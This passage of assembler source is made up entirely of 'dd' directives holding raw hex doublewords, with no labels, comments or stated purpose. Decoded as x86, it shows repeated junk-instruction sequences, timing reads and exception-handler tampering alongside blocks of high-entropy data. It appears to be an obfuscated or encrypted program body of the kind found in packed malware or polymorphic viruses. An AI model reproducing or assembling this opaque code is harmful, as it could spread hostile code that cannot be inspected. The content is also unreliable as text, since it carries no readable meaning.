0FF30B100h, 6E3956F0h dd 6BA5F5Bh, 0E9000000h, 0Dh, 0F67A356Ch, 691B77CDh, 19F4A6Bh dd 0FC18BDFh, 286h, 0C1F88B00h, 0F6004E8h, 284h, 61595000h dd 60E2F766h, 13E9h, 5A79D300h, 42A4D91Eh, 1EFE8E05h, 0AC131155h dd 90E58669h, 0DE9h, 0A6E84300h, 350BCDC2h, 3AB4234Fh dd 2B61FCF8h, 0F1D781C8h, 8B5982E3h, 0F98529D1h, 0E907FA2Eh dd 12h, 7E9h, 8E65900h, 0F9B3EA7Dh, 810Fh, 858B0000h, 7FA213Dh dd 839EF780h, 13E807C0h, 85000000h, 0A6BF5E03h, 0D572997Fh dd 0D247C36Eh, 0C2E2C11Eh, 9D89E0B1h, 7FA2039h, 0C0835Fh dd 830FD03Bh, 11h, 67D9589h, 48E907FAh, 60000000h, 8C75B866h dd 218D8B61h, 0E907FA05h, 0Bh, 0B2EBBBF7h, 0A48C34A6h dd 835D0F17h, 840F01E1h, 23h, 0B319D89h, 0A58307FAh, 7FA0521h dd 0D38166FEh, 95897EEDh, 7FA213Dh, 0A69BD09h, 0E907FAh dd 8D000000h, 0FE4352B5h, 52006A07h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 9964971Ch dd 2860F99h, 8B000000h, 6A006AF9h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 12C351h dd 5DB22064h, 7281E650h, 1995FFF5h, 6A07FA10h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 4AE3C352h, 5757C467h, 0F9BBA910h, 0DF22E781h, 0AFB91C21h dd 0E8000007h, 6, 505A3E0h, 13E97A37h, 0A000000h, 0E6C9091Ch dd 190201B8h, 94A6122Dh, 0DEDC176Bh, 835B5610h, 6AFCE1h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 0BBAAF2C3h, 89BED05Ch, 0FA18A18Dh, 0A159BB07h, 0FFC424Ch dd 1082h, 0BE900h, 0AF380000h, 7887EA09h, 0F63173D1h, 0B88Ah dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 0B5018FC3h, 7FA1E39h, 0FBA5E381h, 0D22B01BEh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 1DC35343h dd 0FD4069EEh, 0E9687724h, 0Ah, 215CBA9Ah, 588A4D72h, 33ADC86Eh dd 3E8D1C2h, 4E983D0h, 6AF475h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 0BE7B93C3h, 6655D380h dd 8199D1BBh, 9C96E8E7h, 57006A0Eh, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1B04h, 0C3574700h, 4830A457h, 6D92D50Eh dd 10E9h, 0F1258300h, 0D08338AAh, 0CF7D779Fh, 0ED93CA09h dd 699D33BEh, 0D07FA2Dh, 88h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 14h, 8AC35343h, 2915B531h, 958B07FAh dd 7FA1CD9h, 0D830Fh, 66600000h, 91FCEF81h, 1CB1958Bh dd 8B6107FAh, 0FA31AD8Dh, 719D3307h, 5007FA21h, 188BC28Bh dd 188BC103h, 0E8D1C18Bh, 188BC203h, 0C6DF8058h, 0D9B70F50h dd 29BD835Fh, 7FA2Ah, 36840Fh, 6B30000h, 0B8h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 8DCCB7B7h, 0FA4F668Dh, 0FEBF0F07h, 0B589E1FFh, 7FA3525h dd 2BD9BD83h, 0F0007FAh, 41F84h, 46CF8000h, 0A1F375BFh dd 0D9BD8343h, 107FA2Bh, 425840Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1A0424h, 50400000h, 840B76C3h dd 0EB544F90h, 0CE9h, 0BEA64C00h, 27187A0Fh, 74FA5A1Dh dd 0E5BD319Bh, 8307FA2Eh, 0FA2BD9BDh, 860F0307h, 3A9h dd 2448E381h, 66602B75h, 0F0B41BFh, 108Bh, 9E95200h, 30000000h dd 88BC2688h, 3D9C732h, 0D98C665Fh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 18h, 75C35343h, 4D47346Fh, 0BF04E180h dd 0BA737EBh, 840FC90Ah, 129h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 0C7C35141h, 0D42F64DDh, 9D0B3AC5h dd 7FA21E9h, 0FE9858Bh, 6A07FAh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 0EE6834C3h, 816029CEh dd 45AF5CE0h, 8D958B6Ch, 6107FA29h, 15E18533h, 6A07FAh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 26E23DC3h, 26E97AB6h, 0DE8B5003h, 6A240489h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h dd 0F51C350h, 0E2C96D77h, 6A006A7Ah, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 3CBBC351h dd 64A5AA9Ch, 0E9402877h, 11h, 7FA13104h, 0F9B8EE6Ah, 0F6409CB2h dd 0DE6040Bh, 0A951689Dh, 0DF8B3895h, 0AE243481h, 81388AAAh dd 0AF33D7C7h, 0E995FF3Fh, 2B07FA1Ch, 0FA25C99Dh, 89FE8B07h dd 0FDEB9685h, 1860F07h, 0F9000000h, 14A1B589h, 87E907FAh dd 23000001h, 0FA2F8DBDh, 8E858B07h, 8B07FDEBh, 0FA0A619Dh dd 1800C707h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 0FB59C353h, 0BA142982h dd 0F8C38166h, 92B58B5Eh, 8B07FDEBh, 0FA17D59Dh, 51858B07h dd 8907FA0Dh, 0F9BF0F06h, 0FE9858Bh, 8D2907FAh, 7FA1E59h dd 6A044689h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 38C2C357h, 65E419EBh, 1F9B509h dd 0BB9607FAh, 5F406458h, 8B665750h, 0E9965FF8h, 0Bh, 12E40092h dd 7D6B0A97h, 18FE45Bh, 0FA2A319Dh, 8EB5FF07h, 6A07FDEBh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h dd 46000000h, 0DBA4C356h, 5EBB412h, 8B84689Dh, 52502759h dd 8AD18B60h, 310F61CBh, 3481585Ah, 46887B24h, 55006A27h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 0EB816639h, 858D48E3h, 7FDEB96h, 0D24315BFh, 8E99056h dd 6D000000h, 964442DDh, 5097E74Ch, 1D830Fh, 11E80000h dd 57000000h, 1525DF5Fh, 0F9614A0Dh, 3FD32499h, 0ECE105B7h dd 310F5250h, 905B585Ah, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 0C0C35040h, 0E995FF33h, 0E907FA1Ch, 12h dd 46E8E306h, 0B779262Fh, 15E72A8Fh, 104F0CD7h, 6A6146B1h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h dd 43000000h, 5A63C353h, 71BD2940h, 0C707FA0Ah, 0FA2BD985h dd 307h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1904h, 0C3514100h, 25067702h, 0BD830246h, 7FDEB96h dd 4E840F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 17042444h, 46000000h, 0F5D9C356h, 45E92FFFh dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 0E08DC355h, 1822BBFFh, 0BB515C03h dd 3C2D73C5h, 0C30505Bh, 11440011h, 10E8C101h, 2114430h dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 53C35141h, 0B87AAF53h, 0A9BD8BA5h, 6A07FA16h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 88F3C351h, 0AA5C9513h, 8B078CE5h, 0FA15DDBDh dd 0D9BD8307h, 307FA2Bh, 425850Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 140424h, 56460000h, 0F78012C3h dd 258509DCh, 8307FA05h, 0FDEB96BDh, 840F0007h, 3F3h, 227D9D8Bh dd 0B5FF07FAh, 7FDEB96h, 7E9h, 0DD4D1700h, 0F3E886E2h dd 274595FFh, 9D3107FAh, 7FA1DF9h, 0EB8AB58Bh, 6A07FDh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 0E99C91C3h, 6C7E860h, 10001h, 50505F56h, 66525052h dd 310FF98Bh, 585A6160h, 0BF66310Fh, 585A67DBh, 6A243489h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 4D18C357h, 0BF66A8h, 96B5FF98h, 0F07FDEBh dd 188Bh, 13E900h, 3CC40000h, 5EEE1F7h, 50911EE2h, 5E9A11AAh dd 0B6E4D4B0h, 0E195FF18h, 6A07FA18h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 80D9C353h dd 0B58B65CFh, 7FDEB8Ah, 0BE9h, 9B299300h, 8C8BBFD9h, 4A2831EDh dd 1C7D858Bh, 6A07FAh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 8B3AB9C3h, 51E54939h, 29E59D89h dd 895F07FAh, 0C486h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1604h, 0C3564600h, 8B7BA155h, 0FA1CD995h dd 459D0307h, 8307FA0Fh, 508904C2h, 52006A20h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 4701F8Ah, 8D138235h dd 0FDFEF785h, 55006A07h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1D04h, 0C3554500h, 8B448DD4h, 51F274D3h dd 9529A19Bh, 7FA0F6Dh, 68D0Fh, 0BD0B0000h, 7FA1F81h, 0B88689h dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h dd 51410000h, 66375EC3h, 8166D98Bh, 6A9F3CF3h, 0FA8B6600h dd 0EB96B5FFh, 0FFFC07FDh, 0FA1C9595h, 68B0F07h, 8B000000h dd 0FA01D19Dh, 0E8609607h, 0Eh, 0D81DAD68h, 3BACE58Ah dd 2B9FD419h, 0FE951CBh, 0DC000000h, 0B841483h, 0EE8780C2h dd 3A14A9D3h, 8B5EFE58h, 0BB5061F8h, 1929C14h, 0F3816096h dd 1CF965D8h, 11298D8Bh, 0FF6107FAh, 0FDEB96B5h, 39BD8B07h dd 0FF07FA07h, 0FA1D9595h, 50006A07h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 0BB694B92h dd 0E090BF66h, 31BD83F5h, 7FA01h, 41840Fh, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 8BFC19C3h, 0FA2815BDh, 10E99607h, 10000000h, 0DD0F970Dh dd 4D70DE3Ch, 4D371E90h, 50C15D7Dh, 4DB58996h, 0FF07FA06h dd 0FDEB96B5h, 55006A07h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 5067A6B7h, 0D5BD8B20h dd 0FF07FA0Ah, 0FA1CB595h, 50006A07h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 4A2D81FBh dd 48E5EE81h, 0B70F50ADh, 0ADBF5BFEh, 0FF5CB3B1h, 0FDEB96B5h dd 8DF8107h, 0FF3D7DC0h, 0FA21AD95h, 50006A07h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 0D5E76A7Eh dd 357D3501h, 0ED952981h, 907FA01h, 0FA07F5BDh, 21BD8307h dd 207FA22h, 53840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 140424h, 53430000h, 0BF0F14C3h, 15858BFAh dd 6A07FA16h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 332DC353h, 0BB35AF54h, 0DBB70F11h dd 890000C6h, 0FA1641BDh, 0DD85C707h, 7FA16h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 6E7CC350h, 0F2A9B04h, 280h, 0E9F98B00h, 0FFFFF305h dd 47F9BB66h, 2F2DBD8Bh, 0C18B07FAh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Bh, 30C35141h, 24773039h, 0F729361h dd 388h, 0DF8B6600h, 13E9h, 0EE686A00h, 7, 3 dup(0) dd 556E9h, 0A3FB1B00h, 4C52C06Dh, 0F2AC6916h, 9E000FBCh dd 4856BB68h, 4229DE12h, 0EC99CFCFh, 93407628h, 3EEB217Dh dd 0C493C9D5h, 56ED506Ch, 0AD1307E5h, 326CA7F6h, 0CFCF42A7h dd 7727EC99h, 128C87ECh, 740D3787h, 4AE0B794h, 31E18E34h dd 8C88DD6Dh, 80D96C12h, 0A4700630h, 0D4E580B3h, 0FF3AD2Eh dd 0B7649A04h, 9F021E59h, 0C5FFE6DEh, 20CD036Ch, 0FBA372F0h dd 8DB70792h, 120AA6C7h, 13C06602h, 80129D01h, 8ECE9D57h dd 0E6FB0F72h, 67CAE6FFh, 8DFFE6FBh, 0F59AF334h, 31DE841Ah dd 52FBFDFh, 4936AFF3h, 0B9F79DB6h, 0C97070Ch, 0E6AF7AE0h dd 0F923ABFFh, 0A2735F5Bh, 1FB882FCh, 2BE5660Ch, 7524EC24h dd 7793D338h, 0FFE70D14h, 0E0239D09h, 74B5BA61h, 2E6AA11Bh dd 0B3875FADh, 712C0Dh, 0A7BD0000h, 57A7326Ch, 6910D02h dd 5EC337DDh, 8BFFE683h, 2159601Ah, 838748Fh, 0B43F5FB3h dd 104E58Bh, 95000000h, 0F00C6BA7h, 0FFE6838Dh, 4FE05AB3h dd 4D6892C4h, 63C853BCh, 1464EFAFh, 0A24856BFh, 78731AF5h dd 0C59ABB9Dh, 0B13C62B2h, 2BB61F88h, 0FBDF99D2h, 0B9518717h dd 81E43E8Fh, 4FF58CA1h, 0F72D71A2h, 0A0031F5Fh, 0C6FFE686h dd 0A710C76Dh, 44A9346Ah, 0E045D0CEh, 7ADF6A34h, 2B7D0896h dd 6A8F4802h, 0F51BAD08h, 79AA066Fh, 4136DBBFh, 0E6EEC225h dd 2E97F0FFh, 80B60F8h, 0D043F096h, 0A9FE3ECEh, 64C7336Bh dd 92FFE6EEh, 9B009339h, 6A94247Ah, 0EB3AB0F7h, 6993F42h dd 121F49E1h, 392D553Eh, 0A05ADB81h, 75385199h, 8AEF38h dd 0A7800000h, 59A9346Ah, 8930B04h, 0C52E70A3h, 20ABF320h dd 71A451F7h, 0D43DA22Dh, 39DA3FCAh, 5596DA65h, 215AF39Bh dd 108E8367h, 0A9E42DDAh, 0EA8D0A4Ah, 92AE3EC8h, 0FFE6C22Fh dd 893FC55h, 0A7326CA3h, 55AAEA82h, 2F58E3BBh, 0E6C260C3h dd 872D86FFh, 0FD454C06h, 9B3874C7h, 43h, 236AA72Ch, 7E4E420Bh dd 2C8FAB38h, 5AFFE731h, 0A42F9801h, 8191D13Fh, 0E529B41Dh dd 3820638Dh, 0BF6B763h, 462AE465h, 0E69DD3CBh, 0A8336BA7h dd 0E683167Ch, 1CD647FFh, 748EDD15h, 17B38h, 0A70C0000h dd 0ADC9096Eh, 0FFE6834Ah, 50B31F78h, 76FFE683h, 0C429B41Dh dd 7FBF4F4Fh, 0E6830063h, 27CD26FFh, 1FD90294h, 34C4DA3Bh dd 0DE6935DFh, 70D10FB5h, 9BB74719h, 7E09A3Dh, 20851069h dd 56884F3h, 2B07E09Ah, 863369D2h, 533AD58Dh, 322DB2EAh dd 921D8632h, 49750069h, 7E12AE4h, 0F0D48ECFh, 0C9D53F23h dd 9A7BD060h, 0F5587404h, 1B07E12Ah, 31DE1CC2h, 0F8F80E2h dd 5EB65B84h, 0FC4CD740h, 22DEDFD2h, 0C1677D13h, 938EFF14h dd 0C3ECD641h, 304CD740h, 0E08293E8h, 77026B33h, 6D27A84Eh dd 0F1B2749Eh, 305A18F5h, 932BDE1h, 0C64DFAA0h, 3B1E48D8h dd 67EE7E1Bh, 8E5E9C42h, 406F6D56h, 113F4h, 96F38500h dd 9A9757B9h, 65CEA17Ah, 746B95D5h, 0B85FB721h, 948D40A2h dd 0C3616F1Ah, 8F53A91Dh, 267F07E1h, 0C1DD369Bh, 4433DC31h dd 0E165C528h, 2992EB07h, 7B984583h, 5C931912h, 4DB6AE62h dd 0F1AD68BDh, 4973D66h, 22EE749Fh, 6C88137Ch, 769D813Bh dd 55AF228h, 1DED930Bh, 406EB2E5h, 3D83h, 9AF31400h, 971A36C6h dd 3D7FE683h, 14FF54E4h, 2551E48Ah, 7FE682C2h, 0EDBC769Fh dd 14F2D1C3h, 0D0768D22h, 7231E6Fh, 7FE586A4h, 801079D2h dd 0E585E164h, 4076CFFFh, 7359h, 96F3F200h, 0B41E3ACAh dd 3207E09Ah, 2AE94ED9h, 82913E74h, 0FD65911Ch, 0A607E099h dd 4CC7AB65h, 0A46DC252h, 9954B7D3h, 298207E0h, 660C35C0h dd 9EC2C728h, 6DE7F20Eh, 0A4FD0FDFh, 3F5FB419h, 0E3BB5AAFh dd 45D43753h, 0A902FFEBh, 0B5DE7003h, 3A2663FBh, 8EA780AAh dd 4C32F8EAh, 8B316DA7h, 0CCD7F3h, 81DA07EAh, 0ED759CF1h dd 830E7727h, 0BF76B45Ah, 87A396F3h, 0FFE68324h, 4B53BD52h dd 0C52E97C0h, 71A0F535h, 0D379A22Dh, 0E557545Fh, 6EF95207h dd 2F830A09h, 89E67245h, 2B8EAA3Ah, 5907E483h, 0B4619700h dd 64B43F5Fh, 0F399050Fh, 0F5355D7Fh, 0A1E13107h, 0D5352285h dd 0E0C81707h, 16BBC20Bh, 55D67CD5h, 425CB79Bh, 0EAB45F0Ch dd 9BFE1A5Ah, 0C907D4B5h, 0D237CA70h, 44D6613Dh, 967D611Bh dd 0EE25D208h, 80D525B0h, 7D640A94h, 3, 0A75CBB16h, 3FA42F6Fh dd 0DA3FCAD4h, 78DD6836h, 1277029Ch, 0AF149FFFh, 4CB13C62h dd 0EB50DBC3h, 84E9742Ah, 5285108Eh, 4EC81h, 1C890000h dd 81E38924h, 4C3h, 4EB8300h, 5C241C87h, 42768h, 24348900h dd 7EF268h, 24148900h, 5559B951h, 0BF57017Dh, 17B252BDh dd 52FAEF81h, 0F7816DF3h, 0A0C2D60Eh, 295FFE89h, 8B5459CEh dd 0C4812414h, 4, 8904EC83h, 428F2434h, 24148B08h, 81E68956h dd 4C6h, 4C68300h, 5C243487h, 5E2434FFh, 0E904C483h, 0FFFBA530h dd 0BD1E565Fh, 0B88A12C9h, 7FED94Bh, 0E0FFC503h, 6E2A75F4h dd 391425B0h, 0C66632Ah, 5A4B5522h, 595E7827h, 2D4E89C7h dd 0A441A34h, 308A2A7Fh, 7B9B5107h, 122AA749h, 70ED1F6Bh dd 6307F06Ah, 134E7542h, 521DA41Bh, 1158E04Ah, 0CF178AFh dd 5A812DCBh, 51EABF05h, 36D995BDh, 4EF2AEFEh, 4F9F4033h dd 6A978D7Fh, 14F29ACCh, 199858Dh, 6A07FAh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 170424h, 56460000h, 90EF3AC3h dd 619D8BC0h, 5007FA2Bh, 0CF53BFBBh, 24048919h, 6840Fh dd 8D890000h, 7FA0D25h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 0DED881C3h, 10798D29h dd 6A07FAh, 0C85BD8Bh, 858D07FAh, 7FEDC37h, 6A05C083h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h dd 41000000h, 5E08C351h, 0A368CF56h, 0B01ABB50h, 489176Dh dd 9D8D8924h, 6A07FA2Ch, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 3564333Dh, 0B1953162h dd 6A07FA0Ah, 68C0F00h, 29000000h, 0FA1F9D9Dh, 0E995FF07h dd 6A07FA2Bh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 5E77C356h, 8B4DFD8Bh, 0FA16C9BDh dd 118D8D07h, 6607FDD7h, 0CCF9DF81h, 0EF81D1FFh, 1AA13FBDh dd 0FCD78166h, 0EDBD8309h, 107FA33h, 0DA850Fh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 0BF605BC3h, 2F506E2Ch, 68D0Fh, 8D8B0000h, 7FA0029h dd 6A026A61h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 86AAC353h, 1C59D29h, 0BF6607FAh dd 9D8BADBBh, 7FA317Dh, 0BE850h, 698E0000h, 0A38CC120h dd 7115B111h, 5BDF8B48h, 6A240489h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 94CAC352h dd 8106EB9Fh, 95575BEBh, 9595FF4Ah, 6A07FA1Ch, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h dd 9266C353h, 0F93BCC40h, 13E9h, 7824B000h, 0CC971444h dd 85374640h, 0E8C1652h, 70AE8B31h, 0D92E9h, 0E800h, 815D0000h dd 0FEDC41EDh, 0E7816607h, 8D01F721h, 7FA0089h, 88D78151h dd 5F0637FCh, 0B959858Dh, 6A07FDh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 890F24C3h, 6, 108BDB81h dd 50906B0Eh, 0DE8h, 0B3802E00h, 47A3DAAFh, 99066372h dd 12E8699Bh, 0C000000h, 0EB84744Dh, 17758875h, 0A0882A36h dd 0EBAA02F8h, 38BB66E3h, 905F5FB6h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 0F1C35545h, 6360B78h, 35FF64B6h dd 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0DC35040h dd 3974D0F2h, 89F616ECh, 0FA08498Dh, 25896407h, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 67C35343h dd 906DDC5Ch, 0B463A8FEh, 104985FFh, 6A07FAh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 645665C3h dd 0B92CC42Eh, 81FB0F25h, 99A24CDBh, 6AFF6A01h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h dd 606EC351h, 1850Fh, 57F90000h, 0B5FF615Ah, 7FA2EA9h dd 0B24ECF81h, 0B514C15h, 0FA17399Dh, 95FF5B07h, 7FA2875h dd 0EFE9h, 20BB6600h, 0C58D291Ch, 0B007FA23h, 9D296000h dd 7FA0009h, 102DBD01h, 0E66107FAh, 158C0F70h, 0E9000000h dd 10h, 7FBD0C2Dh, 25A11716h, 96C72967h, 0E8A0187Dh, 613C71E4h dd 0AE830Fh, 85890000h, 7FA08C1h, 0BAC8B60Fh, 6, 81C18BF5h dd 0C8F09C7h, 4E8C10Bh, 28FDBD8Bh, 0F76607FAh, 8BC82BE2h dd 0FA0739BDh, 0E9D18B07h, 8, 0A5952957h, 5B07FA2Ch, 1175858Bh dd 0BD8B07FAh, 7FA1479h, 8907C083h, 0FA0A6DBDh, 0C08307h dd 1EADBD89h, 0D03B07FAh, 1D830Fh, 0AE80000h, 0E8000000h dd 1F782518h, 2B4B041Eh, 9D8D8937h, 5B07FA18h, 33E9h, 8BF98B00h dd 0FA27658Dh, 32EB8007h, 0F01E183h, 1F84h, 659D8900h dd 8307FA2Ah, 0FA2765A5h, 8166FE07h, 890E17EFh, 0FA117595h dd 0E9DA8B07h, 0 dd 4CDCB58Dh, 6A07FEh, 0DE960h, 76210000h, 38B87774h, 77747621h dd 292138B8h, 0FA214D85h, 95FF6107h, 7FA1019h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 8CC35545h, 0A11E3249h dd 0B93CC5EEh, 901h, 1F59BD89h, 958907FAh, 7FA1181h, 8BFCE183h dd 0FA2209BDh, 9D8BFC07h, 7FA2485h, 0B8h, 1DB50100h, 0BA07FA35h dd 0 dd 0D419D0Bh, 858907FAh, 7FA30D1h, 0D1C233ADh, 83D003E8h dd 0F47504E9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ch, 0FBC35545h, 0C4AF7D97h, 0E780E25Fh, 0FBBF0F51h dd 93BB665Bh, 0A800F07h, 60000000h, 0DE815F57h, 6A2DDFDAh dd 880D61h, 0DE90000h, 5C000000h, 0F7B41ECFh, 8E6C7B49h dd 47B4AE07h, 1CD9958Bh, 0EE907FAh, 0DE000000h, 0B20E8F5Bh dd 0F777494Bh, 498F2C32h, 0AD8D8BE3h, 6A07FA31h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h dd 0EA21C352h, 0A7D781EFh, 32DCF09h, 0FA15859Dh, 0DF816607h dd 8B50393Eh, 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 67C35646h dd 80B46C89h, 9D0900D7h, 7FA0B25h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 0F3C35646h, 44EEBEF7h, 181ECB32h dd 0B8BF668Bh, 29BD83BCh, 7FA2Ah, 7F840Fh, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 0E6F37AC3h, 16BBD3B2h, 0B807DCF2h, 0 dd 17899D8Bh, 8D8D07FAh, 7FA4F66h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 14h, 81C35040h, 48E0Fh, 8B530000h dd 0E1FF5BFBh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 19h, 0FBC35040h, 46BAE428h, 0D9BD8369h, 7FA2Bh, 3E2840Fh dd 0BD830000h, 7FA2BD9h, 0F0840F01h, 8B000003h, 0FA0A5DBDh dd 0D9BD8307h, 307FA2Bh, 3A7860Fh, 0BF600000h, 174BAF4h dd 21659D31h, 8C6607FAh, 418509D9h, 0F907FA25h, 6A04E180h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h dd 43000000h, 0AE4C353h, 11840FC9h, 8B000001h, 0FA2F99BDh dd 0E9858B07h, 6A07FA0Fh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 471DC353h, 5893C79Ch dd 0FA8B6681h, 15E18533h, 6A07FAh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 50EA60C3h, 5E9h, 21745800h dd 4890E9Ah, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1C04h, 0C3554500h, 7A4D62E3h, 4068A6DEh, 0BF006A42h dd 44C25ECEh, 10E5EF68h, 6E997h, 6C990000h, 0AE877A4h dd 10240481h, 6A690E1Eh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 14042444h, 45000000h, 8114C355h, 910DC6EBh dd 6820F32h, 8B000000h, 0FA1D51BDh, 0E995FF07h, 8B07FA1Ch dd 0FA1525BDh, 96858907h, 8107FDEBh, 0C9D10BF7h, 1FDE937h dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 0B5895BC3h, 7FA189Dh, 0EB8E858Bh, 6A07FDh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 7DEA3FC3h, 0C76004h, 18h, 11850960h, 8107FA32h, 85D509C2h dd 0B58B6158h, 7FDEB92h, 89EBDB80h, 0FA22BD95h, 51858B07h dd 6A07FA0Dh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 0A18FC355h, 689F9EDh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 6DC35545h, 0BA6660CFh dd 68B35682h, 0E9858B61h, 8007FA0Fh, 4689C9CFh, 41950104h dd 9607FA2Fh, 8B666053h, 14E8CFh, 33BC0000h, 28CBD455h dd 2FA3C254h, 93759CDDh, 0D5E44906h, 615AF7E0h, 2ABB505Fh dd 9607C62Ah, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 18h, 87C35242h, 0B99E9C70h, 9686BF66h, 0EB8EB5FFh, 6A07FDh dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 0DD84B6C3h, 10E99813h, 89000000h, 2B551838h, 395BE0C9h dd 9C7101F9h, 897FF3C9h, 0FA0F81B5h, 8C5D6807h, 52508805h dd 547CF0BFh, 0E8310F54h, 0Eh, 0AAFE82CEh, 510386DFh, 6526F33Ah dd 7E8D34Fh, 0D8000000h, 8C66B3A9h, 5B5BBE7Eh, 481585Ah dd 1977A224h, 56006A78h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1B04h, 0C3564600h, 0FE55FDE3h, 0B41A749Bh, 4CF8166h dd 96858DEBh, 6A07FDEBh, 3E85600h, 20000000h, 895EC35Eh dd 